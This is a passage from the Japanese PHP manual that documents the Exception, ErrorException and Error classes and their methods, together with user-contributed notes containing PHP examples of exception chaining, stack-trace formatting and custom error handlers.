        $result[] = sprintf("Exception '%s' with message '(%s) %s' in %s:%d", get_class($this), $this->code, $this->message, $this->file, $this->line);
        $result[] = '---[Stack trace]:';
        $result[] = $this->getTraceAsString();

        if (self::$printPrevious) {
            $previous = $this->getPrevious();
            if ($previous) {
                do {
                    $result[] = '---[Previous exception]:';
                    $result[] = sprintf("Exception '%s' with message '(%s) %s' in %s:%d", get_class($previous), $previous->getCode(), $previous->getMessage(), $previous->getFile(), $previous->getLine());
                    $result[] = '---[Stack trace]:';
                    $result[] = $previous->getTraceAsString();
                } while(method_exists($previous, 'getPrevious') && ($previous = $previous->getPrevious()));
            }
        }

        return implode("\r\n", $result);
    }
}

abstract class App_Exception_PreviousLegacyAbstract extends App_Exception_PreviousNativeAbstract {
    protected $previous;

    public function __construct($message, $code = 0, Exception $previous = null) {
        $this->previous = $previous;

        parent::__construct($message, $code);
    }

    public function getPrevious() {
        return $this->previous;
    }
}

if (version_compare(PHP_VERSION, '5.3.0', '>=')) {
    abstract class App_Exception_PreviousAbstract extends App_Exception_PreviousNativeAbstract {}
}
else {
    abstract class App_Exception_PreviousAbstract extends App_Exception_PreviousLegacyAbstract {}
}

class App_Exception extends App_Exception_PreviousAbstract {
    public function __construct($message, $code = 0, Exception $previous = null) {
        parent::__construct($message, 0, $previous);
    }
}

// Example:
try {
    // ...
    throw new Exception('Exception mesage');
    // ...
} catch (Exception $e) {
    throw new App_Exception('App exception mesage', 0, $e);
}
?>


例外コードを取得する

  • ≪ Exception::getPrevious
  • Exception::getFile ≫
  • PHP Manual
  • Exception
  • 例外コードを取得する

Exception::getCode

(PHP 5, PHP 7, PHP 8)

Exception::getCode — 例外コードを取得する

説明

final public Exception::getCode ( ) : mixed

例外コードを返します。

パラメータ

この関数にはパラメータはありません。

返り値

例外コードを整数値で返します。しかし、 Exception クラスを継承したクラスでは、違う型を返すこともあります (たとえば PDOException は文字列を返します)。

例

例1 Exception::getCode() の例

<?php
try {
    throw new Exception("Some error message", 30);
} catch(Exception $e) {
    echo "The exception code is: " . $e->getCode();
}
?>

上の例の出力は、 たとえば以下のようになります。

The exception code is: 30

参考

  • Throwable::getCode() - 例外コードを取得する

User Contributed Notes

ahmad dot mayahi at gmail dot com 06-Mar-2017 09:45
One of the most useful tricks of getCode is handling duplication entries when trying to add a duplicate row into the database.

Sometimes we don't need to show any errors regarding this duplication.

The following snippet is taken from one of my projects:

<?php
//I have a mysql table called hosts with one unique key named host_name.
 try {
     $hosts = new Hosts(["host_name" => "www.example.com");
     $hosts->save();
 } catch (\PDOException $e) {
      if ($e->getCode() === 23000) {
          //Do nothing
     }
}
?>

Here I'm saving the host name, and I don't care if it's already exists.
talksonweb at gmail dot com 28-Jun-2013 03:23
The exception code can be used to categorize your errors. If you're wondering what the exception code can be used for, read on below.

Let's say each time your application isn't able to connect to the database, you can save the error message under the error/exception code 214. At the end of the month, you can do a quick search on the error number '214' and find out how many times this error occurred. This makes life easier. Also, the error/exception message will give you details into what happened.

The point is to use both the exception message and code. It's helpful in the long run.

Note: I added this note, because I was confused earlier as to the purpose of the exception code and it's use.
ricky at rocker dot com 19-Feb-2013 10:53
when raising an Exception with no error code explicitly defined, getCode() returns the integer 0

<?php
try {
  throw new Exception("no code!!");
} catch (Exception $e) {
  print("Code='" . $e->getCode() . "'");
}
?>

outputs

Code='0'


例外が作られたファイルを取得する

  • ≪ Exception::getCode
  • Exception::getLine ≫
  • PHP Manual
  • Exception
  • 例外が作られたファイルを取得する

Exception::getFile

(PHP 5, PHP 7, PHP 8)

Exception::getFile — 例外が作られたファイルを取得する

説明

final public Exception::getFile ( ) : string

例外が作られたファイルの名前を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

例外が作られたファイルの名前を返します。

例

例1 Exception::getFile() の例

<?php
try {
    throw new Exception;
} catch(Exception $e) {
    echo $e->getFile();
}
?>

上の例の出力は、 たとえば以下のようになります。

/home/bjori/tmp/ex.php

参考

  • Throwable::getFile() - オブジェクトが作られたファイル名を取得する

User Contributed Notes

Jan 24-Sep-2019 12:28
If you're looking to extract only the "ex.php" part of the full "/home/bjori/tmp/ex.php", then use:

<?php
    echo basename($e->getFile())
?>

or better yet, esp. if your paths possibly contain non-ASCII characters:

<?php
    echo pathinfo($e->getFile())['basename']
?>


例外が作られた行を取得する

  • ≪ Exception::getFile
  • Exception::getTrace ≫
  • PHP Manual
  • Exception
  • 例外が作られた行を取得する

Exception::getLine

(PHP 5, PHP 7, PHP 8)

Exception::getLine — 例外が作られた行を取得する

説明

final public Exception::getLine ( ) : int

例外が作られた行番号を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

例外が作られた行番号を返します。

例

例1 Exception::getLine() の例

<?php
try {
    throw new Exception("Some error message");
} catch(Exception $e) {
    echo "The exception was created on line: " . $e->getLine();
}
?>

上の例の出力は、 たとえば以下のようになります。

The exception was created on line: 3

参考

  • Throwable::getLine() - オブジェクトのインスタンスが作られた行番号を取得する

User Contributed Notes

There are no user contributed notes for this page.


スタックトレースを取得する

  • ≪ Exception::getLine
  • Exception::getTraceAsString ≫
  • PHP Manual
  • Exception
  • スタックトレースを取得する

Exception::getTrace

(PHP 5, PHP 7, PHP 8)

Exception::getTrace — スタックトレースを取得する

説明

final public Exception::getTrace ( ) : array

例外のスタックトレースを返します。

パラメータ

この関数にはパラメータはありません。

返り値

例外のスタックトレースを配列で返します。

例

例1 Exception::getTrace() の例

<?php
function test() {
 throw new Exception;
}

try {
 test();
} catch(Exception $e) {
 var_dump($e->getTrace());
}
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  array(4) {
    ["file"]=>
    string(22) "/home/bjori/tmp/ex.php"
    ["line"]=>
    int(7)
    ["function"]=>
    string(4) "test"
    ["args"]=>
    array(0) {
    }
  }
}

参考

  • Throwable::getTrace() - スタックトレースを取得する

User Contributed Notes

ronald at ronalddiaz dot net 17-Aug-2020 10:30
If you are wanting to see the args within a stack trace on PHP 7.4, note that there is now a zend flag in the php.ini file that is default set to Off.

zend.exception_ignore_args = Off

Set this flag to On and it will show the args again.

zend.exception_ignore_args = On

https://www.php.net/manual/en/ini.core.php#ini.zend.exception-ignore-args
an43 dot bal at gmail dot com 17-May-2020 03:01
As of PHP 7.4 return values of Exception::getTrace() (and Error::getTrace()) no longer contains "args" keys like debug_backtrace() with default options.

So, return value since 7.4 is like debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS).
knivey 18-Apr-2013 02:53
The order of the trace starts at the source of the exception and does not include main.
So for example:

<?php
function Bar() {
 throw new Exception;
}

function Foo() {
 Bar();
}

try {
 Foo();
} catch(Exception $e) {
 var_dump($e->getTrace());
}
?>

Will output:

array(2) {
  [0]=>
  array(4) {
    ["file"]=>
    string(21) "/.../test.php"
    ["line"]=>
    int(8)
    ["function"]=>
    string(3) "Bar"
    ["args"]=>
    array(0) {
    }
  }
  [1]=>
  array(4) {
    ["file"]=>
    string(21) "/.../test.php"
    ["line"]=>
    int(12)
    ["function"]=>
    string(3) "Foo"
    ["args"]=>
    array(0) {
    }
  }
}
sam at notmyrealemail dot org 17-Feb-2012 03:26
Two important points about this function which are not documented:

1) The trace does not include the file / line at which the exception is thrown; that entry is only recorded in the top-level getFile/Line methods.

2) Elements are returned in 'closest-first' order, e.g. if you have a script x which calls function y which calls function z which throws an exception, then the first trace element will be 'Y' and the second will be 'X'.
andreas at cap-systems dot com 09-Jun-2010 12:55
When calling getTrace(), there is also the name of the class in returned array:

<?php
  class Test {

    function __construct() {

      throw new Exception('FATAL ERROR: bla bla...');

    }

  }

  try {

    $obj = new Test();

  } catch(Exception $e) {

    var_dump($e->getTrace());

  }
?>

Will show something like:

array(1) {
  [0]=>  array(6) {
               ["file"]=>  string(54) "/....../test.php"
               ["line"]=>  int(37)
               ["function"]=>  string(11) "__construct"
               ["class"]=>  string(4) "Test"
               ["type"]=>  string(2) "->"
               ["args"]=>  array(0) { }
             }
}

You can use this function to format a exception:

<?php
  function MakePrettyException(Exception $e) {
    $trace = $e->getTrace();

    $result = 'Exception: "';
    $result .= $e->getMessage();
    $result .= '" @ ';
    if($trace[0]['class'] != '') {
      $result .= $trace[0]['class'];
      $result .= '->';
    }
    $result .= $trace[0]['function'];
    $result .= '();<br />';

    return $result;
  }

  //Example:
  try {

    $obj = new Test();

  } catch(Exception $e) {

    echo MakePrettyException($e);

  }

?>

Result:

Exception: "FATAL ERROR: bla bla..." @ Test->__construct();


スタックトレースを文字列で取得する

  • ≪ Exception::getTrace
  • Exception::__toString ≫
  • PHP Manual
  • Exception
  • スタックトレースを文字列で取得する

Exception::getTraceAsString

(PHP 5, PHP 7, PHP 8)

Exception::getTraceAsString — スタックトレースを文字列で取得する

説明

final public Exception::getTraceAsString ( ) : string

例外のスタックトレースを文字列で返します。

パラメータ

この関数にはパラメータはありません。

返り値

例外のスタックトレースを文字列で返します。

例

例1 Exception::getTraceAsString() の例

<?php
function test() {
    throw new Exception;
}

try {
    test();
} catch(Exception $e) {
    echo $e->getTraceAsString();
}
?>

上の例の出力は、 たとえば以下のようになります。

#0 /home/bjori/tmp/ex.php(7): test()
#1 {main}

参考

  • Throwable::getTraceAsString() - スタックトレースを文字列として取得する

User Contributed Notes

cottton at i-stats dot net 21-Feb-2015 04:41
this method uses \n for new line (i expected PHP_EOL but well ...).
if you want to log the string as one single line use something like:
<?php
$separator = ', ';
$one_line = str_replace("\n", $separator, $e->getTraceAsString());
?>
ernest at vogelsinger dot at 08-May-2014 09:49
Honestly, Exception::getTraceAsString() simply sucks, listing only the called method (below, for example, on line 89 function fail2() gets called, but there's no information that you have the originator is fail1()). The fact that, in the example below, the exception gets thrown on line 78, is completely omitted from the trace and only available within the exception. Chained exceptions are not supported as well.

Example:
#0 /var/htdocs/websites/sbdevel/public/index.php(70): seabird\test\C->exc()
#1 /var/htdocs/websites/sbdevel/public/index.php(85): seabird\test\C->doexc()
#2 /var/htdocs/websites/sbdevel/public/index.php(89): seabird\test\fail2()
#3 /var/htdocs/websites/sbdevel/public/index.php(93): seabird\test\fail1()
#4 {main}

jTraceEx() provides a much better java-like stack trace that includes support for chained exceptions:
Exception: Thrown from class C
 at seabird.test.C.exc(index.php:78)
 at seabird.test.C.doexc(index.php:70)
 at seabird.test.fail2(index.php:85)
 at seabird.test.fail1(index.php:89)
 at (main)(index.php:93)
Caused by: Exception: Thrown from class B
 at seabird.test.B.exc(index.php:64)
 at seabird.test.C.exc(index.php:75)
 ... 4 more
Caused by: Exception: Thrown from class A
 at seabird.test.A.exc(index.php:46)
 at seabird.test.B.exc(index.php:61)
 ... 5 more

(see at the end for the example code)

 <?php
 /**
 * jTraceEx() - provide a Java style exception trace
 * @param $exception
 * @param $seen      - array passed to recursive calls to accumulate trace lines already seen
 *                     leave as NULL when calling this function
 * @return array of strings, one entry per trace line
 */
function jTraceEx($e, $seen=null) {
    $starter = $seen ? 'Caused by: ' : '';
    $result = array();
    if (!$seen) $seen = array();
    $trace  = $e->getTrace();
    $prev   = $e->getPrevious();
    $result[] = sprintf('%s%s: %s', $starter, get_class($e), $e->getMessage());
    $file = $e->getFile();
    $line = $e->getLine();
    while (true) {
        $current = "$file:$line";
        if (is_array($seen) && in_array($current, $seen)) {
            $result[] = sprintf(' ... %d more', count($trace)+1);
            break;
        }
        $result[] = sprintf(' at %s%s%s(%s%s%s)',
                                    count($trace) && array_key_exists('class', $trace[0]) ? str_replace('\\', '.', $trace[0]['class']) : '',
                                    count($trace) && array_key_exists('class', $trace[0]) && array_key_exists('function', $trace[0]) ? '.' : '',
                                    count($trace) && array_key_exists('function', $trace[0]) ? str_replace('\\', '.', $trace[0]['function']) : '(main)',
                                    $line === null ? $file : basename($file),
                                    $line === null ? '' : ':',
                                    $line === null ? '' : $line);
        if (is_array($seen))
            $seen[] = "$file:$line";
        if (!count($trace))
            break;
        $file = array_key_exists('file', $trace[0]) ? $trace[0]['file'] : 'Unknown Source';
        $line = array_key_exists('file', $trace[0]) && array_key_exists('line', $trace[0]) && $trace[0]['line'] ? $trace[0]['line'] : null;
        array_shift($trace);
    }
    $result = join("\n", $result);
    if ($prev)
        $result  .= "\n" . jTraceEx($prev, $seen);

    return $result;
}
?>

Here's the example code:
<?php
class A {
    public function exc() {
        throw new \Exception('Thrown from class A');    // <-- line 46
    }
}

class B {
    public function exc() {
        try {
            $a = new A;
            $a->exc();    // <-- line 61
        }
        catch(\Exception $e1) {
            throw new \Exception('Thrown from class B', 0, $e1);    // <-- line 64
        }
    }
}
class C {
    public function doexc() {
        $this->exc();    // <-- line 70
    }
    public function exc() {
        try {
            $b = new B;
            $b->exc();    // <-- line 75
        }
        catch(\Exception $e1) {
            throw new \Exception('Thrown from class C', 0, $e1);    // <-- line 78
        }
    }
}

function fail2() {
    $c = new C;
    $c->doexc();    // <-- line 85
}

function fail1() {
    fail2();            // <-- line 89
}

try {
    fail1();            // <-- line 93
}
catch(\Exception $e) {
    echo jTraceEx($e);
}
?>


例外の文字列表現

  • ≪ Exception::getTraceAsString
  • Exception::__clone ≫
  • PHP Manual
  • Exception
  • 例外の文字列表現

Exception::__toString

(PHP 5, PHP 7, PHP 8)

Exception::__toString — 例外の文字列表現

説明

public Exception::__toString ( ) : string

例外を文字列で表現したものを返します。

パラメータ

この関数にはパラメータはありません。

返り値

例外を文字列で表現したものを返します。

例

例1 Exception::__toString() の例

<?php
try {
    throw new Exception("Some error message");
} catch(Exception $e) {
    echo $e;
}
?>

上の例の出力は、 たとえば以下のようになります。

exception 'Exception' with message 'Some error message' in /home/bjori/tmp/ex.php:3
Stack trace:
#0 {main}

参考

  • Throwable::__toString() - スローされたオブジェクトの文字列表現を取得する

User Contributed Notes

There are no user contributed notes for this page.


例外をコピーする

  • ≪ Exception::__toString
  • ErrorException ≫
  • PHP Manual
  • Exception
  • 例外をコピーする

Exception::__clone

(PHP 5, PHP 7, PHP 8)

Exception::__clone — 例外をコピーする

説明

final private Exception::__clone ( ) : void

例外のコピーを作成しようとします。結果としてこれは Fatal エラーとなります。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

エラー / 例外

例外はクローン不可能です。

User Contributed Notes

There are no user contributed notes for this page.


ErrorException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

はじめに

エラー例外です。

クラス概要

ErrorException extends Exception {
/* プロパティ */
protected int $severity ;
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
public __construct ( string $message = "" , int $code = 0 , int $severity = E_ERROR , string $filename = __FILE__ , int $lineno = __LINE__ , Exception $previous = null )
final public getSeverity ( ) : int
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

プロパティ

severity

例外の深刻度

例

例1 set_error_handler() を使用した、エラーメッセージから ErrorException への変換

<?php
function exception_error_handler($severity, $message, $file, $line) {
    if (!(error_reporting() & $severity)) {
        // このエラーコードが error_reporting に含まれていない場合
        return;
    }
    throw new ErrorException($message, 0, $severity, $file, $line);
}
set_error_handler("exception_error_handler");

/* 例外を発生させます */
strpos();
?>

上の例の出力は、 たとえば以下のようになります。

Fatal error: Uncaught exception 'ErrorException' with message 'strpos() expects at least 2 parameters, 0 given' in /home/bjori/tmp/ex.php:12
Stack trace:
#0 [internal function]: exception_error_handler(2, 'strpos() expect...', '/home/bjori/php...', 12, Array)
#1 /home/bjori/php/cleandocs/test.php(12): strpos()
#2 {main}
  thrown in /home/bjori/tmp/ex.php on line 12

目次

  • ErrorException::__construct — 例外を作成する
  • ErrorException::getSeverity — 例外の深刻度を取得する

User Contributed Notes

Kevin 28-Mar-2017 09:13
I have been Googling all over the place for how to convert an E_NOTICE error into an exception, and I think I finally found a clean way to do it:

@include "errorcausingcode.php";

$lastError = error_get_last();
if ( !empty( $lastError ) ) {
    throw new TemplateRenderingException($lastError['message'], $lastError['type']);
}

Basically, if it's something not system haulting it will likely hit this. Then you can throw whatever exception you want. Now, this is of course if you have a need. I did, because I wanted to clean up my output buffer if there was an error that skipped over it.
xianrenb at gmail dot com 23-Sep-2012 02:33
<?php
function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorException($errstr, $errno, 0, $errfile, $errline);
}
set_error_handler("exception_error_handler");

/* Trigger exception */
strpos();
?>

Please note that property $severity of class ErrorException is set to a constant zero for all kinds of errors in the above example.

I think it was a bug and tried to file a bug report, but it was closed as not a bug, so I could not say the above is wrong.

Let me show an example that uses $severity not as a constant:
<?php
  set_error_handler(function ($errno, $errstr, $errfile, $errline) {
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
  });

  class MyClass {
    public function methodA() {
      echo("methodA:\n");
      strpos();
    }

    public function methodB() {
      echo("methodB:\n");
      trigger_error("warning message form methodB", E_WARNING);
    }

    public function methodC() {
      echo("methodC:\n");
      throw new ErrorException();
    }

    public function methodD() {
      echo("methodD:\n");
      throw new ErrorException('warning message from methodD', 0,
E_WARNING);
    }

    public function run($i) {
        if ($i === 0) {
          $this->methodA();
        } else if ($i === 1) {
          $this->methodB();
        } else if ($i === 2) {
          $this->methodC();
        } else {
          $this->methodD();
        }
    }

    public function test() {
      for ($i = 0; $i < 4; ++$i) {
        try {
            $this->run($i);
        } catch (ErrorException $e) {
          if ($e->getSeverity() === E_ERROR) {
            echo("E_ERROR triggered.\n");
          } else if ($e->getSeverity() === E_WARNING) {
            echo("E_WARNING triggered.\n");
          }
        }
      }
    }
  }

  $myClass = new MyClass();
  $myClass->test();
?>

Please note that methodC() uses (constructor of) class ErrorException with default parameters.

I believe it is the original intention to make $severity having default value of 1, which is exactly equal to E_ERROR.

Using property $code or Exception::getCode() to compare with E_* values could not do the same thing (as in methodC()), as $code has a default value of 0, and class Exception has it too, users may use $code for some other purposes.
triplepoint at gmail dot com 01-Jan-2010 08:16
As noted below, it's important to realize that unless caught, any Exception thrown will halt the script.  So converting EVERY notice, warning, or error to an ErrorException will halt your script when something harmlesss like E_USER_NOTICE is triggered.

It seems to me the best use of the ErrorException class is something like this:

<?php
function custom_error_handler($number, $string, $file, $line, $context)
{
    // Determine if this error is one of the enabled ones in php config (php.ini, .htaccess, etc)
    $error_is_enabled = (bool)($number & ini_get('error_reporting') );

    // -- FATAL ERROR
    // throw an Error Exception, to be handled by whatever Exception handling logic is available in this context
    if( in_array($number, array(E_USER_ERROR, E_RECOVERABLE_ERROR)) && $error_is_enabled ) {
        throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
    }

    // -- NON-FATAL ERROR/WARNING/NOTICE
    // Log the error if it's enabled, otherwise just ignore it
    else if( $error_is_enabled ) {
        error_log( $string, 0 );
        return false; // Make sure this ends up in $php_errormsg, if appropriate
    }
}
?>

Setting this function as the error handler will result in ErrorExceptions only being thrown for E_USER_ERROR and E_RECOVERABLE_ERROR, while other enabled error types will simply get error_log()'ed.

It's worth noting again that no matter what you do, "E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT" will never reach your custom error handler, and therefore will not be converted into ErrorExceptions.  Plan accordingly.
randallgirard at hotmail dot com 11-Dec-2009 03:32
E_USER_WARNING, E_USER_NOTICE, and any other non-terminating error codes, are useless and act like E_USER_ERROR (which terminate) when you combine a custom ERROR_HANDLER with ErrorException and do not CATCH the error. There is NO way to return execution to the parent scope in the EXCEPTION_HANDLER.

<?php

    error_reporting(E_ALL);
    define('DEBUG', true);
    define('LINEBREAK', "\r\n");

    error::initiate('./error_backtrace.log');

    try
        trigger_error("First error", E_USER_NOTICE);
    catch ( ErrorException $e )
        print("Caught the error: ".$e->getMessage."<br />\r\n" );

    trigger_error("This event WILL fire", E_USER_NOTICE);

    trigger_error("This event will NOT fire", E_USER_NOTICE);

    abstract class error {

        public static $LIST = array();

        private function __construct() {}

        public static function initiate( $log = false ) {
            set_error_handler( 'error::err_handler' );
            set_exception_handler( 'error::exc_handler' );
            if ( $log !== false ) {
                if ( ! ini_get('log_errors') )
                    ini_set('log_errors', true);
                if ( ! ini_get('error_log') )
                    ini_set('error_log', $log);
            }
        }

        public static function err_handler($errno, $errstr, $errfile, $errline, $errcontext) {
            $l = error_reporting();
            if ( $l & $errno ) {

                $exit = false;
                switch ( $errno ) {
                    case E_USER_ERROR:
                        $type = 'Fatal Error';
                        $exit = true;
                    break;
                    case E_USER_WARNING:
                    case E_WARNING:
                        $type = 'Warning';
                    break;
                    case E_USER_NOTICE:
                    case E_NOTICE:
                    case @E_STRICT:
                        $type = 'Notice';
                    break;
                    case @E_RECOVERABLE_ERROR:
                        $type = 'Catchable';
                    break;
                    default:
                        $type = 'Unknown Error';
                        $exit = true;
                    break;
                }

                $exception = new \ErrorException($type.': '.$errstr, 0, $errno, $errfile, $errline);

                if ( $exit ) {
                    exc_handler($exception);
                    exit();
                }
                else
                    throw $exception;
            }
            return false;
        }

        function exc_handler($exception) {
            $log = $exception->getMessage() . "\n" . $exception->getTraceAsString() . LINEBREAK;
            if ( ini_get('log_errors') )
                error_log($log, 0);
            print("Unhandled Exception" . (DEBUG ? " - $log" : ''));
        }

    }
?>
luke at cywh dot com 23-Feb-2009 11:56
To add to the comments made by chris AT cmbuckley DOT co DOT uk about the ErrorException problem with args:

I noticed that the problem is in the ErrorException class itself, not the Exception class. When using just the exception class, it's no longer an issue. Besides the args problem, the only difference between Exception and ErrorException in the stack trace is that the args are left out of the error handler exception function. I'm not sure if this was on purpose or not, but it shouldn't hurt to show this information anyway.

So instead of using this broken extended class, you can ignore it and make your own extended class and avoid the problem all together:

<?php

header('Content-Type: text/plain');

class ErrorHandler extends Exception {
    protected $severity;

    public function __construct($message, $code, $severity, $filename, $lineno) {
        $this->message = $message;
        $this->code = $code;
        $this->severity = $severity;
        $this->file = $filename;
        $this->line = $lineno;
    }

    public function getSeverity() {
        return $this->severity;
    }
}

function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorHandler($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler", E_ALL);

function A() {
    $foo->bar; // Purposely cause error
}

function B($c) {
    A();
}

try {
    B('foobar');
} catch (Exception $e) {
    var_dump($e->getTrace());
}

?>

The only thing I wish I could do was remove the entry for the error handler function because it's quite irrelevant. Maybe that's what they were trying to do with the ErrorException class? Either way, you can't change it because the trace functions are final, and the variable is private.


例外を作成する

  • ≪ ErrorException
  • ErrorException::getSeverity ≫
  • PHP Manual
  • ErrorException
  • 例外を作成する

ErrorException::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ErrorException::__construct — 例外を作成する

説明

public ErrorException::__construct ( string $message = "" , int $code = 0 , int $severity = E_ERROR , string $filename = __FILE__ , int $lineno = __LINE__ , Exception $previous = null )

例外を作成します。

パラメータ

message

スローする例外メッセージ。

code

例外コード。

severity

例外の深刻度。

注意:

任意の int を設定できますが、ここでは エラー定数 を用いることを想定しています。

filename

例外がスローされたファイル名。

lineno

例外がスローされた行番号。

previous

ひとつ前の例外。例外の連結に使います。

User Contributed Notes

There are no user contributed notes for this page.


例外の深刻度を取得する

  • ≪ ErrorException::__construct
  • Error ≫
  • PHP Manual
  • ErrorException
  • 例外の深刻度を取得する

ErrorException::getSeverity

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ErrorException::getSeverity — 例外の深刻度を取得する

説明

final public ErrorException::getSeverity ( ) : int

例外の深刻度を返します。

パラメータ

この関数にはパラメータはありません。

返り値

例外の深刻度レベルを返します。

例

例1 ErrorException::getSeverity() の例

<?php
try {
    throw new ErrorException("Exception message", 0, E_USER_ERROR);
} catch(ErrorException $e) {
    echo "This exception severity is: " . $e->getSeverity();
    var_dump($e->getSeverity() === E_USER_ERROR);
}
?>

上の例の出力は、 たとえば以下のようになります。

This exception severity is: 256
bool(true)

User Contributed Notes

cyjimmy264 at gmail dot com 12-Apr-2017 10:46
function friendly_severity($severity) {
    $names = [];

    $consts = array_flip(
        array_slice(
            get_defined_constants(true)['Core'], 0, 15, true));

    foreach ($consts as $code => $name) {
        if ($severity & $code) $names []= $name;
    }

    return join(' | ', $names);
}
fgaab 08-Mar-2010 06:38
Try this as replacement for error_reporting(...)

<?php
    function exception_error_handler($errno, $errstr, $errfile, $errline ) {
        $severity =
            1 * E_ERROR |
            1 * E_WARNING |
            0 * E_PARSE |
            0 * E_NOTICE |
            0 * E_CORE_ERROR |
            0 * E_CORE_WARNING |
            0 * E_COMPILE_ERROR |
            0 * E_COMPILE_WARNING |
            0 * E_USER_ERROR |
            0 * E_USER_WARNING |
            0 * E_USER_NOTICE |
            0 * E_STRICT |
            0 * E_RECOVERABLE_ERROR |
            0 * E_DEPRECATED |
            0 * E_USER_DEPRECATED;
        $ex = new ErrorException($errstr, 0, $errno, $errfile, $errline);
        if (($ex->getSeverity() & $severity) != 0) {
                       throw $ex;
                }
    }
    set_error_handler("exception_error_handler");
?>


Error

(PHP 7, PHP 8)

はじめに

Error は、PHP のすべての内部エラーの基底クラスです。

クラス概要

Error implements Throwable {
/* プロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}

プロパティ

message

エラーメッセージ

code

エラーコード

file

エラーが発生したファイル名

line

エラーが発生した行番号

目次

  • Error::__construct — エラーオブジェクトを生成する
  • Error::getMessage — エラーメッセージを取得する
  • Error::getPrevious — 直前の Throwable を返す
  • Error::getCode — エラーコードを取得する
  • Error::getFile — エラーが起きたファイルを取得する
  • Error::getLine — エラーが起きた行番号を取得する
  • Error::getTrace — スタックトレースを取得する
  • Error::getTraceAsString — スタックトレースを文字列として取得する
  • Error::__toString — エラーの文字列表現
  • Error::__clone — エラーをクローンする

User Contributed Notes

whysteepy at gmail dot com 28-Jan-2018 07:53
Lists of Throwable and Exception tree as of 7.2.0

    Error
      ArithmeticError
        DivisionByZeroError
      AssertionError
      ParseError
      TypeError
        ArgumentCountError
    Exception
      ClosedGeneratorException
      DOMException
      ErrorException
      IntlException
      LogicException
        BadFunctionCallException
          BadMethodCallException
        DomainException
        InvalidArgumentException
        LengthException
        OutOfRangeException
      PharException
      ReflectionException
      RuntimeException
        OutOfBoundsException
        OverflowException
        PDOException
        RangeException
        UnderflowException
        UnexpectedValueException
      SodiumException

Find the script and output in the following links:
https://gist.github.com/mlocati/249f07b074a0de339d4d1ca980848e6a
https://3v4l.org/sDMsv

posted here http://php.net/manual/en/class.throwable.php
JustinasMalkas 08-Dec-2015 08:13
If after PHP upgrade you're getting error "PHP Fatal error:  Cannot declare class error, because the name is already in use ...", you will have to rename your "error" class.
Since PHP 7 classname "Error" is predefined and used internally.


エラーオブジェクトを生成する

  • ≪ Error
  • Error::getMessage ≫
  • PHP Manual
  • Error
  • エラーオブジェクトを生成する

Error::__construct

(PHP 7, PHP 8)

Error::__construct — エラーオブジェクトを生成する

説明

public Error::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )

エラーを生成する。

パラメータ

message

エラーメッセージ。

code

エラーコード。

previous

例外チェーンに使われる、直前のスロー可能オブジェクト。

注意

注意:

message はバイナリセーフでは ありません。

User Contributed Notes

There are no user contributed notes for this page.


エラーメッセージを取得する

  • ≪ Error::__construct
  • Error::getPrevious ≫
  • PHP Manual
  • Error
  • エラーメッセージを取得する

Error::getMessage

(PHP 7, PHP 8)

Error::getMessage — エラーメッセージを取得する

説明

final public Error::getMessage ( ) : string

エラーメッセージを返す。

パラメータ

この関数にはパラメータはありません。

返り値

エラーメッセージを文字列で返す。

例

例1 Error::getMessage() の例

<?php
try {
    throw new Error("Some error message");
} catch(Error $e) {
    echo $e->getMessage();
}
?>

上の例の出力は、 たとえば以下のようになります。

Some error message

参考

  • Throwable::getMessage() - メッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


直前の Throwable を返す

  • ≪ Error::getMessage
  • Error::getCode ≫
  • PHP Manual
  • Error
  • 直前の Throwable を返す

Error::getPrevious

(PHP 7, PHP 8)

Error::getPrevious — 直前の Throwable を返す

説明

final public Error::getPrevious ( ) : Throwable

直前の Throwable（Error::__construct() の3番目の引数）を返す。

パラメータ

この関数にはパラメータはありません。

返り値

直前の Throwable が利用可能であればそれを返し、 そうでなければ null を返す。

例

例1 Error::getPrevious() の例

エラートレースをループし、出力する。

<?php
class MyCustomError extends Error {}

function doStuff() {
    try {
        throw new InvalidArgumentError("You are doing it wrong!", 112);
    } catch(Error $e) {
        throw new MyCustomError("Something happened", 911, $e);
    }
}

try {
    doStuff();
} catch(Error $e) {
    do {
        printf("%s:%d %s (%d) [%s]\n", $e->getFile(), $e->getLine(), $e->getMessage(), $e->getCode(), get_class($e));
    } while($e = $e->getPrevious());
}
?>

上の例の出力は、 たとえば以下のようになります。

/home/bjori/ex.php:8 Something happened (911) [MyCustomError]
/home/bjori/ex.php:6 You are doing it wrong! (112) [InvalidArgumentError]

参考

  • Throwable::getPrevious() - ひとつ前の Throwable を返す

User Contributed Notes

There are no user contributed notes for this page.


エラーコードを取得する

  • ≪ Error::getPrevious
  • Error::getFile ≫
  • PHP Manual
  • Error
  • エラーコードを取得する

Error::getCode

(PHP 7, PHP 8)

Error::getCode — エラーコードを取得する

説明

final public Error::getCode ( ) : mixed

エラーコードを返します

パラメータ

この関数にはパラメータはありません。

返り値

